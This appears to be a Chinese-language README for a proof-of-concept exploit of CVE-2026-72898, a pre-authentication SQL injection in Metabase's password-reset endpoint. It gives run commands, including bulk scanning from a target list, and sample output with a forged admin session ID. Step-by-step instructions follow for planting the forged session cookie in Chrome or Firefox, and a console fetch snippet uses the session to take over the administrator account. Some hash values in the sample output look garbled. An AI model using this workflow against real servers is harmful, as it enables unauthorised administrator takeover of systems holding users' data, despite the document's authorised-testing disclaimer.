Metabase 预认证 SQL 注入导致管理员账户接管
CVE-2026-72898 的概念验证(PoC),这是 Metabase 密码重置端点中的一个严重的未认证 SQL 注入漏洞。该 PoC 会将伪造的管理员会话记录注入 core_session 表,然后利用该记录在无需任何凭据的情况下验证完整的管理员会话。
注意: 此 PoC 仅用于授权的安全测试和研究。CVE-2026-72898 已被列入 CISA 已知被利用漏洞(KEV)目录,且已在野外遭到积极利用。您有责任遵守所有适用法律,并在测试任何系统之前获得书面授权。
requests 库安装依赖:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
| 参数 | 说明 | 默认值 |
|---|---|---|
-t, --target | 单个目标 URL | - |
-T, --targets | 包含目标 URL 的文件,每行一个 | - |
-o, --output | 结果文件(制表符分隔:target、result、status、session_id、admin_email) | - |
--timeout | 请求超时时间(秒) | 15 |
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
第 2 步返回 400 且提示 Invalid reset token 是预期行为——这意味着 SQLi 载荷已执行且响应被提前终止。第 3 步 /api/user/current 返回 200 则确认伪造的会话有效。
结果状态:vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase 通过 metabase.SESSION Cookie 读取其会话,因此您可以通过添加该 Cookie,以伪造的管理员身份登录 Web 界面:
Google Chrome / Edge / Chromium
session idhttp://TARGET/ 并按 F12(开发者工具)metabase.SESSION<SESSION_ID>(PoC 打印出的值)192.168.1.1 或 .example.com)/Firefox
session idF12 → Storage(存储) 标签页 → Cookies(Cookie) → 选择目标主机metabase.SESSION<SESSION_ID>/替代方案:Cookie 编辑器扩展
使用任意 Cookie 编辑扩展(例如 Cookie-Editor),在目标域名上添加值为伪造值的 metabase.SESSION Cookie,然后刷新。
从浏览器控制台
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password如果此项目对您有所帮助,请考虑支持其开发:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
